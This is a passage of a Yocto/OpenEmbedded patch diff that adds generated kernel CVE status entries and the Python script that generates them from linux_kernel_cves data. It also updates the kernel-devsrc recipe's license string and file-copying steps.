+CVE_STATUS[CVE-2023-32257] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-32258] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-32269] = "fixed-version: Fixed from version 6.2rc7"
+
+# CVE-2023-32629 has no known resolution
+
+CVE_STATUS[CVE-2023-3268] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-3269] = "fixed-version: Fixed from version 6.5rc1"
+
+CVE_STATUS[CVE-2023-3312] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-3317] = "fixed-version: Fixed from version 6.3rc6"
+
+CVE_STATUS[CVE-2023-33203] = "fixed-version: Fixed from version 6.3rc4"
+
+CVE_STATUS[CVE-2023-33250] = "fixed-version: Fixed from version 6.5rc1"
+
+CVE_STATUS[CVE-2023-33288] = "fixed-version: Fixed from version 6.3rc4"
+
+CVE_STATUS[CVE-2023-3338] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2023-3355] = "fixed-version: Fixed from version 6.3rc1"
+
+CVE_STATUS[CVE-2023-3357] = "fixed-version: Fixed from version 6.2rc1"
+
+CVE_STATUS[CVE-2023-3358] = "fixed-version: Fixed from version 6.2rc5"
+
+CVE_STATUS[CVE-2023-3359] = "fixed-version: Fixed from version 6.2rc7"
+
+CVE_STATUS[CVE-2023-3389] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2023-3390] = "fixed-version: Fixed from version 6.4rc7"
+
+CVE_STATUS[CVE-2023-33951] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-33952] = "fixed-version: Fixed from version 6.4rc1"
+
+# CVE-2023-3397 has no known resolution
+
+CVE_STATUS[CVE-2023-34255] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-34256] = "fixed-version: Fixed from version 6.4rc2"
+
+CVE_STATUS[CVE-2023-34319] = "fixed-version: Fixed from version 6.5rc6"
+
+CVE_STATUS[CVE-2023-34324] = "fixed-version: Fixed from version 6.6rc6"
+
+CVE_STATUS[CVE-2023-3439] = "fixed-version: Fixed from version 5.18rc5"
+
+CVE_STATUS[CVE-2023-35001] = "fixed-version: Fixed from version 6.5rc2"
+
+CVE_STATUS[CVE-2023-3567] = "fixed-version: Fixed from version 6.2rc7"
+
+# CVE-2023-35693 has no known resolution
+
+CVE_STATUS[CVE-2023-35788] = "fixed-version: Fixed from version 6.4rc5"
+
+CVE_STATUS[CVE-2023-35823] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-35824] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-35826] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-35827] = "fixed-version: Fixed from version 6.6rc6"
+
+CVE_STATUS[CVE-2023-35828] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-35829] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-3609] = "fixed-version: Fixed from version 6.4rc7"
+
+CVE_STATUS[CVE-2023-3610] = "fixed-version: Fixed from version 6.4"
+
+CVE_STATUS[CVE-2023-3611] = "fixed-version: Fixed from version 6.5rc2"
+
+# CVE-2023-3640 has no known resolution
+
+CVE_STATUS[CVE-2023-37453] = "fixed-version: Fixed from version 6.6rc1"
+
+# CVE-2023-37454 has no known resolution
+
+CVE_STATUS[CVE-2023-3772] = "fixed-version: Fixed from version 6.5rc7"
+
+CVE_STATUS[CVE-2023-3773] = "fixed-version: Fixed from version 6.5rc7"
+
+CVE_STATUS[CVE-2023-3776] = "fixed-version: Fixed from version 6.5rc2"
+
+CVE_STATUS[CVE-2023-3777] = "fixed-version: Fixed from version 6.5rc3"
+
+CVE_STATUS[CVE-2023-3812] = "fixed-version: Fixed from version 6.1rc4"
+
+CVE_STATUS[CVE-2023-38409] = "fixed-version: Fixed from version 6.3rc7"
+
+CVE_STATUS[CVE-2023-38426] = "fixed-version: Fixed from version 6.4rc3"
+
+CVE_STATUS[CVE-2023-38427] = "fixed-version: Fixed from version 6.4rc6"
+
+CVE_STATUS[CVE-2023-38428] = "fixed-version: Fixed from version 6.4rc3"
+
+CVE_STATUS[CVE-2023-38429] = "fixed-version: Fixed from version 6.4rc3"
+
+CVE_STATUS[CVE-2023-38430] = "fixed-version: Fixed from version 6.4rc6"
+
+CVE_STATUS[CVE-2023-38431] = "fixed-version: Fixed from version 6.4rc6"
+
+CVE_STATUS[CVE-2023-38432] = "fixed-version: Fixed from version 6.4"
+
+CVE_STATUS[CVE-2023-3863] = "fixed-version: Fixed from version 6.5rc1"
+
+CVE_STATUS[CVE-2023-3865] = "fixed-version: Fixed from version 6.4"
+
+CVE_STATUS[CVE-2023-3866] = "fixed-version: Fixed from version 6.4"
+
+CVE_STATUS[CVE-2023-3867] = "fixed-version: Fixed from version 6.5rc1"
+
+CVE_STATUS[CVE-2023-39189] = "fixed-version: Fixed from version 6.6rc1"
+
+CVE_STATUS[CVE-2023-39191] = "fixed-version: Fixed from version 6.3rc1"
+
+CVE_STATUS[CVE-2023-39192] = "fixed-version: Fixed from version 6.6rc1"
+
+CVE_STATUS[CVE-2023-39193] = "fixed-version: Fixed from version 6.6rc1"
+
+CVE_STATUS[CVE-2023-39194] = "fixed-version: Fixed from version 6.5rc7"
+
+CVE_STATUS[CVE-2023-39197] = "fixed-version: Fixed from version 6.5rc1"
+
+CVE_STATUS[CVE-2023-39198] = "fixed-version: Fixed from version 6.5rc7"
+
+CVE_STATUS[CVE-2023-4004] = "fixed-version: Fixed from version 6.5rc3"
+
+# CVE-2023-4010 has no known resolution
+
+CVE_STATUS[CVE-2023-4015] = "fixed-version: Fixed from version 6.5rc4"
+
+CVE_STATUS[CVE-2023-40283] = "fixed-version: Fixed from version 6.5rc1"
+
+CVE_STATUS[CVE-2023-40791] = "fixed-version: Fixed from version 6.5rc6"
+
+CVE_STATUS[CVE-2023-4128] = "fixed-version: Fixed from version 6.5rc5"
+
+CVE_STATUS[CVE-2023-4132] = "fixed-version: Fixed from version 6.5rc1"
+
+CVE_STATUS[CVE-2023-4133] = "fixed-version: Fixed from version 6.3"
+
+CVE_STATUS[CVE-2023-4134] = "fixed-version: Fixed from version 6.5rc1"
+
+CVE_STATUS[CVE-2023-4147] = "fixed-version: Fixed from version 6.5rc4"
+
+CVE_STATUS[CVE-2023-4155] = "fixed-version: Fixed from version 6.5rc6"
+
+CVE_STATUS[CVE-2023-4194] = "fixed-version: Fixed from version 6.5rc5"
+
+CVE_STATUS[CVE-2023-4206] = "fixed-version: Fixed from version 6.5rc5"
+
+CVE_STATUS[CVE-2023-4207] = "fixed-version: Fixed from version 6.5rc5"
+
+CVE_STATUS[CVE-2023-4208] = "fixed-version: Fixed from version 6.5rc5"
+
+CVE_STATUS[CVE-2023-4244] = "fixed-version: Fixed from version 6.5rc7"
+
+CVE_STATUS[CVE-2023-4273] = "fixed-version: Fixed from version 6.5rc5"
+
+CVE_STATUS[CVE-2023-42752] = "fixed-version: Fixed from version 6.6rc1"
+
+CVE_STATUS[CVE-2023-42753] = "fixed-version: Fixed from version 6.6rc1"
+
+CVE_STATUS[CVE-2023-42754] = "fixed-version: Fixed from version 6.6rc3"
+
+CVE_STATUS[CVE-2023-42755] = "fixed-version: Fixed from version 6.3rc1"
+
+CVE_STATUS[CVE-2023-42756] = "fixed-version: Fixed from version 6.6rc3"
+
+CVE_STATUS[CVE-2023-4385] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2023-4387] = "fixed-version: Fixed from version 5.18"
+
+CVE_STATUS[CVE-2023-4389] = "fixed-version: Fixed from version 5.18rc3"
+
+CVE_STATUS[CVE-2023-4394] = "fixed-version: Fixed from version 6.0rc3"
+
+CVE_STATUS[CVE-2023-44466] = "fixed-version: Fixed from version 6.5rc2"
+
+CVE_STATUS[CVE-2023-4459] = "fixed-version: Fixed from version 5.18"
+
+CVE_STATUS[CVE-2023-4563] = "fixed-version: Fixed from version 6.5rc6"
+
+CVE_STATUS[CVE-2023-4569] = "fixed-version: Fixed from version 6.5rc7"
+
+CVE_STATUS[CVE-2023-45862] = "fixed-version: Fixed from version 6.3rc1"
+
+CVE_STATUS[CVE-2023-45863] = "fixed-version: Fixed from version 6.3rc1"
+
+CVE_STATUS[CVE-2023-45871] = "fixed-version: Fixed from version 6.6rc1"
+
+CVE_STATUS[CVE-2023-45898] = "fixed-version: Fixed from version 6.6rc1"
+
+CVE_STATUS[CVE-2023-4610] = "fixed-version: Fixed from version 6.4"
+
+CVE_STATUS[CVE-2023-4611] = "fixed-version: Fixed from version 6.5rc4"
+
+CVE_STATUS[CVE-2023-4622] = "fixed-version: Fixed from version 6.5rc1"
+
+CVE_STATUS[CVE-2023-4623] = "fixed-version: Fixed from version 6.6rc1"
+
+CVE_STATUS[CVE-2023-46343] = "fixed-version: Fixed from version 6.6rc7"
+
+CVE_STATUS[CVE-2023-46813] = "fixed-version: Fixed from version 6.6rc7"
+
+CVE_STATUS[CVE-2023-46838] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2023-46862] = "fixed-version: Fixed from version 6.6"
+
+# CVE-2023-47233 has no known resolution
+
+CVE_STATUS[CVE-2023-4732] = "fixed-version: Fixed from version 5.14rc1"
+
+CVE_STATUS[CVE-2023-4881] = "fixed-version: Fixed from version 6.6rc1"
+
+CVE_STATUS[CVE-2023-4921] = "fixed-version: Fixed from version 6.6rc1"
+
+CVE_STATUS[CVE-2023-50431] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2023-5090] = "fixed-version: Fixed from version 6.6rc7"
+
+CVE_STATUS[CVE-2023-51042] = "fixed-version: Fixed from version 6.5rc1"
+
+CVE_STATUS[CVE-2023-51043] = "fixed-version: Fixed from version 6.5rc3"
+
+CVE_STATUS[CVE-2023-5158] = "fixed-version: Fixed from version 6.6rc5"
+
+CVE_STATUS[CVE-2023-51779] = "cpe-stable-backport: Backported in 6.6.9"
+
+CVE_STATUS[CVE-2023-5178] = "fixed-version: Fixed from version 6.6rc7"
+
+CVE_STATUS[CVE-2023-51780] = "cpe-stable-backport: Backported in 6.6.8"
+
+CVE_STATUS[CVE-2023-51781] = "cpe-stable-backport: Backported in 6.6.8"
+
+CVE_STATUS[CVE-2023-51782] = "cpe-stable-backport: Backported in 6.6.8"
+
+CVE_STATUS[CVE-2023-5197] = "fixed-version: Fixed from version 6.6rc3"
+
+CVE_STATUS[CVE-2023-52340] = "fixed-version: Fixed from version 6.3rc1"
+
+CVE_STATUS[CVE-2023-52429] = "cpe-stable-backport: Backported in 6.6.18"
+
+CVE_STATUS[CVE-2023-52433] = "fixed-version: Fixed from version 6.6rc1"
+
+CVE_STATUS[CVE-2023-52434] = "cpe-stable-backport: Backported in 6.6.8"
+
+CVE_STATUS[CVE-2023-52435] = "cpe-stable-backport: Backported in 6.6.11"
+
+CVE_STATUS[CVE-2023-52436] = "cpe-stable-backport: Backported in 6.6.13"
+
+CVE_STATUS[CVE-2023-52438] = "cpe-stable-backport: Backported in 6.6.13"
+
+CVE_STATUS[CVE-2023-52439] = "cpe-stable-backport: Backported in 6.6.13"
+
+CVE_STATUS[CVE-2023-52440] = "fixed-version: Fixed from version 6.6rc1"
+
+CVE_STATUS[CVE-2023-52441] = "fixed-version: Fixed from version 6.5rc4"
+
+CVE_STATUS[CVE-2023-52442] = "fixed-version: Fixed from version 6.5rc4"
+
+CVE_STATUS[CVE-2023-52443] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2023-52444] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2023-52445] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2023-52446] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2023-52447] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2023-52448] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2023-52449] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2023-52450] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2023-52451] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2023-52452] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2023-52453] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2023-52454] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2023-52455] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2023-52456] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2023-52457] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2023-52458] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2023-52459] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2023-52460] = "fixed-version: only affects 6.7rc1 onwards"
+
+CVE_STATUS[CVE-2023-52461] = "fixed-version: only affects 6.7rc1 onwards"
+
+CVE_STATUS[CVE-2023-52462] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2023-52463] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2023-52464] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2023-5345] = "fixed-version: Fixed from version 6.6rc4"
+
+CVE_STATUS[CVE-2023-5633] = "fixed-version: Fixed from version 6.6rc6"
+
+CVE_STATUS[CVE-2023-5717] = "fixed-version: Fixed from version 6.6rc7"
+
+CVE_STATUS[CVE-2023-5972] = "fixed-version: Fixed from version 6.6rc7"
+
+CVE_STATUS[CVE-2023-6039] = "fixed-version: Fixed from version 6.5rc5"
+
+CVE_STATUS[CVE-2023-6040] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2023-6111] = "cpe-stable-backport: Backported in 6.6.3"
+
+CVE_STATUS[CVE-2023-6121] = "cpe-stable-backport: Backported in 6.6.4"
+
+CVE_STATUS[CVE-2023-6176] = "fixed-version: Fixed from version 6.6rc2"
+
+CVE_STATUS[CVE-2023-6200] = "cpe-stable-backport: Backported in 6.6.9"
+
+# CVE-2023-6238 has no known resolution
+
+# CVE-2023-6240 has no known resolution
+
+# CVE-2023-6270 has no known resolution
+
+# CVE-2023-6356 has no known resolution
+
+CVE_STATUS[CVE-2023-6531] = "cpe-stable-backport: Backported in 6.6.7"
+
+# CVE-2023-6535 has no known resolution
+
+# CVE-2023-6536 has no known resolution
+
+CVE_STATUS[CVE-2023-6546] = "fixed-version: Fixed from version 6.5rc7"
+
+CVE_STATUS[CVE-2023-6560] = "cpe-stable-backport: Backported in 6.6.5"
+
+CVE_STATUS[CVE-2023-6606] = "cpe-stable-backport: Backported in 6.6.9"
+
+CVE_STATUS[CVE-2023-6610] = "cpe-stable-backport: Backported in 6.6.13"
+
+CVE_STATUS[CVE-2023-6622] = "cpe-stable-backport: Backported in 6.6.7"
+
+CVE_STATUS[CVE-2023-6679] = "fixed-version: only affects 6.7rc1 onwards"
+
+CVE_STATUS[CVE-2023-6817] = "cpe-stable-backport: Backported in 6.6.7"
+
+CVE_STATUS[CVE-2023-6915] = "cpe-stable-backport: Backported in 6.6.13"
+
+CVE_STATUS[CVE-2023-6931] = "cpe-stable-backport: Backported in 6.6.7"
+
+CVE_STATUS[CVE-2023-6932] = "cpe-stable-backport: Backported in 6.6.5"
+
+# CVE-2023-7042 has no known resolution
+
+CVE_STATUS[CVE-2023-7192] = "fixed-version: Fixed from version 6.3rc1"
+
+CVE_STATUS[CVE-2024-0193] = "cpe-stable-backport: Backported in 6.6.10"
+
+CVE_STATUS[CVE-2024-0340] = "fixed-version: Fixed from version 6.4rc6"
+
+CVE_STATUS[CVE-2024-0443] = "fixed-version: Fixed from version 6.4rc7"
+
+CVE_STATUS[CVE-2024-0562] = "fixed-version: Fixed from version 6.0rc3"
+
+# CVE-2024-0564 has no known resolution
+
+CVE_STATUS[CVE-2024-0565] = "cpe-stable-backport: Backported in 6.6.8"
+
+CVE_STATUS[CVE-2024-0582] = "cpe-stable-backport: Backported in 6.6.5"
+
+CVE_STATUS[CVE-2024-0584] = "cpe-stable-backport: Backported in 6.6.5"
+
+CVE_STATUS[CVE-2024-0607] = "cpe-stable-backport: Backported in 6.6.3"
+
+CVE_STATUS[CVE-2024-0639] = "fixed-version: Fixed from version 6.5rc1"
+
+CVE_STATUS[CVE-2024-0641] = "fixed-version: Fixed from version 6.6rc5"
+
+CVE_STATUS[CVE-2024-0646] = "cpe-stable-backport: Backported in 6.6.7"
+
+CVE_STATUS[CVE-2024-0775] = "fixed-version: Fixed from version 6.4rc2"
+
+# CVE-2024-0841 has no known resolution
+
+CVE_STATUS[CVE-2024-1085] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2024-1086] = "cpe-stable-backport: Backported in 6.6.15"
+
+CVE_STATUS[CVE-2024-1151] = "cpe-stable-backport: Backported in 6.6.18"
+
+CVE_STATUS[CVE-2024-1312] = "fixed-version: Fixed from version 6.5rc4"
+
+# CVE-2024-21803 has no known resolution
+
+# CVE-2024-22099 has no known resolution
+
+# CVE-2024-22386 has no known resolution
+
+CVE_STATUS[CVE-2024-22705] = "cpe-stable-backport: Backported in 6.6.10"
+
+# CVE-2024-23196 has no known resolution
+
+# CVE-2024-23307 has no known resolution
+
+# CVE-2024-23848 has no known resolution
+
+CVE_STATUS[CVE-2024-23849] = "cpe-stable-backport: Backported in 6.6.15"
+
+CVE_STATUS[CVE-2024-23850] = "cpe-stable-backport: Backported in 6.6.18"
+
+CVE_STATUS[CVE-2024-23851] = "cpe-stable-backport: Backported in 6.6.18"
+
+CVE_STATUS[CVE-2024-24855] = "fixed-version: Fixed from version 6.5rc2"
+
+# CVE-2024-24857 has no known resolution
+
+# CVE-2024-24858 has no known resolution
+
+# CVE-2024-24859 has no known resolution
+
+CVE_STATUS[CVE-2024-24860] = "cpe-stable-backport: Backported in 6.6.14"
+
+# CVE-2024-24861 has no known resolution
+
+# CVE-2024-24864 has no known resolution
+
+# CVE-2024-25739 has no known resolution
+
+# CVE-2024-25740 has no known resolution
+
+# CVE-2024-25741 has no known resolution
+
+CVE_STATUS[CVE-2024-25744] = "cpe-stable-backport: Backported in 6.6.7"
+
+CVE_STATUS[CVE-2024-26581] = "cpe-stable-backport: Backported in 6.6.17"
+
+CVE_STATUS[CVE-2024-26582] = "cpe-stable-backport: Backported in 6.6.18"
+
+CVE_STATUS[CVE-2024-26583] = "cpe-stable-backport: Backported in 6.6.18"
+
+CVE_STATUS[CVE-2024-26584] = "cpe-stable-backport: Backported in 6.6.18"
+
+CVE_STATUS[CVE-2024-26585] = "cpe-stable-backport: Backported in 6.6.18"
+
+CVE_STATUS[CVE-2024-26586] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2024-26587] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2024-26588] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2024-26589] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2024-26590] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2024-26591] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2024-26592] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2024-26593] = "cpe-stable-backport: Backported in 6.6.18"
+
+CVE_STATUS[CVE-2024-26594] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2024-26595] = "cpe-stable-backport: Backported in 6.6.14"
+
+# CVE-2024-26596 needs backporting (fixed from 6.8rc1)
+
+CVE_STATUS[CVE-2024-26597] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2024-26598] = "cpe-stable-backport: Backported in 6.6.14"
+
+CVE_STATUS[CVE-2024-26599] = "cpe-stable-backport: Backported in 6.6.14"
+
diff --git a/meta/recipes-kernel/linux/generate-cve-exclusions.py b/meta/recipes-kernel/linux/generate-cve-exclusions.py
new file mode 100755
index 0000000000..aa9195aab4
--- /dev/null
+++ b/meta/recipes-kernel/linux/generate-cve-exclusions.py
@@ -0,0 +1,98 @@
+#! /usr/bin/env python3
+
+# Generate granular CVE status metadata for a specific version of the kernel
+# using data from linuxkernelcves.com.
+#
+# SPDX-License-Identifier: GPL-2.0-only
+
+import argparse
+import datetime
+import json
+import pathlib
+import re
+
+from packaging.version import Version
+
+
+def parse_version(s):
+ """
+ Parse the version string and either return a packaging.version.Version, or
+ None if the string was unset or "unk".
+ """
+ if s and s != "unk":
+ # packaging.version.Version doesn't approve of versions like v5.12-rc1-dontuse
+ s = s.replace("-dontuse", "")
+ return Version(s)
+ return None
+
+
+def main(argp=None):
+ parser = argparse.ArgumentParser()
+ parser.add_argument("datadir", type=pathlib.Path, help="Path to a clone of https://github.com/nluedtke/linux_kernel_cves")
+ parser.add_argument("version", type=Version, help="Kernel version number to generate data for, such as 6.1.38")
+
+ args = parser.parse_args(argp)
+ datadir = args.datadir
+ version = args.version
+ base_version = f"{version.major}.{version.minor}"
+
+ with open(datadir / "data" / "kernel_cves.json", "r") as f:
+ cve_data = json.load(f)
+
+ with open(datadir / "data" / "stream_fixes.json", "r") as f:
+ stream_data = json.load(f)
+
+ print(f"""
+# Auto-generated CVE metadata, DO NOT EDIT BY HAND.
+# Generated at {datetime.datetime.now(datetime.timezone.utc)} for version {version}
+
+python check_kernel_cve_status_version() {{
+ this_version = "{version}"
+ kernel_version = d.getVar("LINUX_VERSION")
+ if kernel_version != this_version:
+ bb.warn("Kernel CVE status needs updating: generated for %s but kernel is %s" % (this_version, kernel_version))
+}}
+do_cve_check[prefuncs] += "check_kernel_cve_status_version"
+""")
+
+ for cve, data in cve_data.items():
+ if "affected_versions" not in data:
+ print(f"# Skipping {cve}, no affected_versions")
+ print()
+ continue
+
+ affected = data["affected_versions"]
+ first_affected, fixed = re.search(r"(.+) to (.+)", affected).groups()
+ first_affected = parse_version(first_affected)
+ fixed = parse_version(fixed)
+
+ if not fixed:
+ print(f"# {cve} has no known resolution")
+ elif first_affected and version < first_affected:
+ print(f'CVE_STATUS[{cve}] = "fixed-version: only affects {first_affected} onwards"')
+ elif fixed <= version:
+ print(
+ f'CVE_STATUS[{cve}] = "fixed-version: Fixed from version {fixed}"'
+ )
+ else:
+ if cve in stream_data:
+ backport_data = stream_data[cve]
+ if base_version in backport_data:
+ backport_ver = Version(backport_data[base_version]["fixed_version"])
+ if backport_ver <= version:
+ print(
+ f'CVE_STATUS[{cve}] = "cpe-stable-backport: Backported in {backport_ver}"'
+ )
+ else:
+ # TODO print a note that the kernel needs bumping
+ print(f"# {cve} needs backporting (fixed from {backport_ver})")
+ else:
+ print(f"# {cve} needs backporting (fixed from {fixed})")
+ else:
+ print(f"# {cve} needs backporting (fixed from {fixed})")
+
+ print()
+
+
+if __name__ == "__main__":
+ main()
diff --git a/meta/recipes-kernel/linux/kernel-devsrc.bb b/meta/recipes-kernel/linux/kernel-devsrc.bb
index 6a606c3570..fafab475f3 100644
--- a/meta/recipes-kernel/linux/kernel-devsrc.bb
+++ b/meta/recipes-kernel/linux/kernel-devsrc.bb
@@ -5,7 +5,7 @@ development or external module builds"
SECTION = "kernel"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
inherit linux-kernel-base
@@ -47,21 +47,21 @@ do_install() {
# create a /usr/src/kernel symlink to /lib/modules/<version>/source
mkdir -p ${D}/usr/src
(
- cd ${D}/usr/src
- lnr ${D}${KERNEL_BUILD_ROOT}${KERNEL_VERSION}/source kernel
+ cd ${D}/usr/src
+ ln -rs ${D}${KERNEL_BUILD_ROOT}${KERNEL_VERSION}/source kernel
)
# for on target purposes, we unify build and source
(
- cd $kerneldir
- ln -s build source
+ cd $kerneldir
+ ln -s build source
)
# first copy everything
(
- cd ${S}
- cp --parents $(find -type f -name "Makefile*" -o -name "Kconfig*") $kerneldir/build
- cp --parents $(find -type f -name "Build" -o -name "Build.include") $kerneldir/build
+ cd ${S}
+ cp --parents $(find -type f -name "Makefile*" -o -name "Kconfig*") $kerneldir/build
+ cp --parents $(find -type f -name "Build" -o -name "Build.include") $kerneldir/build
)
# then drop all but the needed Makefiles/Kconfig files
@@ -70,82 +70,113 @@ do_install() {
# now copy in parts from the build that we'll need later
(
- cd ${B}
-
- cp Module.symvers $kerneldir/build
- cp System.map* $kerneldir/build
- if [ -s Module.markers ]; then
- cp Module.markers $kerneldir/build
- fi
-
- cp -a .config $kerneldir/build
-
- # This scripts copy blow up QA, so for now, we require a more
- # complex 'make scripts' to restore these, versus copying them
- # here. Left as a reference to indicate that we know the scripts must
- # be dealt with.
- # cp -a scripts $kerneldir/build
+ cd ${B}
+
+ if [ -s Module.symvers ]; then
+ cp Module.symvers $kerneldir/build
+ fi
+ cp System.map* $kerneldir/build
+ if [ -s Module.markers ]; then
+ cp Module.markers $kerneldir/build
+ fi
+
+ cp -a .config $kerneldir/build
+
+ # This scripts copy blow up QA, so for now, we require a more
+ # complex 'make scripts' to restore these, versus copying them
+ # here. Left as a reference to indicate that we know the scripts must
+ # be dealt with.
+ # cp -a scripts $kerneldir/build
+
+ # although module.lds can be regenerated on target via 'make modules_prepare'
+ # there are several places where 'makes scripts prepare' is done, and that won't
+ # regenerate the file. So we copy it onto the target as a migration to using
+ # modules_prepare
+ cp -a --parents scripts/module.lds $kerneldir/build/ 2>/dev/null || :
if [ -d arch/${ARCH}/scripts ]; then
- cp -a arch/${ARCH}/scripts $kerneldir/build/arch/${ARCH}
- fi
- if [ -f arch/${ARCH}/*lds ]; then
- cp -a arch/${ARCH}/*lds $kerneldir/build/arch/${ARCH}
- fi
-
- rm -f $kerneldir/build/scripts/*.o
- rm -f $kerneldir/build/scripts/*/*.o
-
- if [ "${ARCH}" = "powerpc" ]; then
- if [ -e arch/powerpc/lib/crtsavres.S ] ||
- [ -e arch/powerpc/lib/crtsavres.o ]; then
- cp -a --parents arch/powerpc/lib/crtsavres.[So] $kerneldir/build/
- fi
- fi
-
- if [ "${ARCH}" = "arm64" ]; then
- cp -a --parents arch/arm64/kernel/vdso/vdso.lds $kerneldir/build/
- fi
-
- cp -a include $kerneldir/build/include
-
- # we don't usually copy generated files, since they can be rebuilt on the target,
- # but without this file, we get a forced syncconfig run in v5.8+, which prompts and
- # breaks workflows.
- cp -a --parents include/generated/autoconf.h $kerneldir/build 2>/dev/null || :
+ cp -a arch/${ARCH}/scripts $kerneldir/build/arch/${ARCH}
+ fi
+ if [ -f arch/${ARCH}/*lds ]; then
+ cp -a arch/${ARCH}/*lds $kerneldir/build/arch/${ARCH}
+ fi
+
+ rm -f $kerneldir/build/scripts/*.o
+ rm -f $kerneldir/build/scripts/*/*.o
+
+ if [ "${ARCH}" = "powerpc" ]; then
+ if [ -e arch/powerpc/lib/crtsavres.S ] ||
+ [ -e arch/powerpc/lib/crtsavres.o ]; then
+ cp -a --parents arch/powerpc/lib/crtsavres.[So] $kerneldir/build/
+ fi
+ fi
+
+ if [ "${ARCH}" = "arm64" -o "${ARCH}" = "riscv" ]; then
+ if [ -e arch/${ARCH}/kernel/vdso/vdso.lds ]; then
+ cp -a --parents arch/${ARCH}/kernel/vdso/vdso.lds $kerneldir/build/
+ fi
+ fi
+ if [ "${ARCH}" = "powerpc" ]; then
+ cp -a --parents arch/powerpc/kernel/vdso32/vdso32.lds $kerneldir/build 2>/dev/null || :
+ cp -a --parents arch/powerpc/kernel/vdso64/vdso64.lds $kerneldir/build 2>/dev/null || :
+ # v5.19+
+ cp -a --parents arch/powerpc/kernel/vdso/vdso*.lds $kerneldir/build 2>/dev/null || :
+ fi
+
+ cp -a include $kerneldir/build/include
+
+ # we don't usually copy generated files, since they can be rebuilt on the target,
+ # but without this file, we get a forced syncconfig run in v5.8+, which prompts and
+ # breaks workflows.
+ cp -a --parents include/generated/autoconf.h $kerneldir/build 2>/dev/null || :
+
+ rm -f $kerneldir/include/generated/.vdso-offsets.h.cmd
+ rm -f $kerneldir/build/include/generated/.vdso-offsets.h.cmd
+ rm -f $kerneldir/build/include/generated/.compat_vdso-offsets.h.cmd
+ rm -f $kerneldir/build/include/generated/.vdso32-offsets.h.cmd
)
# now grab the chunks from the source tree that we need
(
- cd ${S}
+ cd ${S}
+
+ cp -a scripts $kerneldir/build
+
+ # for v6.1+ (otherwise we are missing multiple default targets)
+ cp -a --parents Kbuild $kerneldir/build 2>/dev/null || :
- cp -a scripts $kerneldir/build
+ # For v6.6+ the debian packing is moved out to seperate rules file
+ # Remove as we else would ned to RDEPEND on make
+ rm $kerneldir/build/scripts/package/debian/rules 2>/dev/null || :
- # if our build dir had objtool, it will also be rebuilt on target, so
- # we copy what is required for that build
- if [ -f ${B}/tools/objtool/objtool ]; then
- # these are a few files associated with objtool, since we'll need to
- # rebuild it
- cp -a --parents tools/build/Build.include $kerneldir/build/
- cp -a --parents tools/build/Build $kerneldir/build/
- cp -a --parents tools/build/fixdep.c $kerneldir/build/
- cp -a --parents tools/scripts/utilities.mak $kerneldir/build/
+ # if our build dir had objtool, it will also be rebuilt on target, so
+ # we copy what is required for that build
+ if [ -f ${B}/tools/objtool/objtool ]; then
+ # these are a few files associated with objtool, since we'll need to
+ # rebuild it
+ cp -a --parents tools/build/Build.include $kerneldir/build/
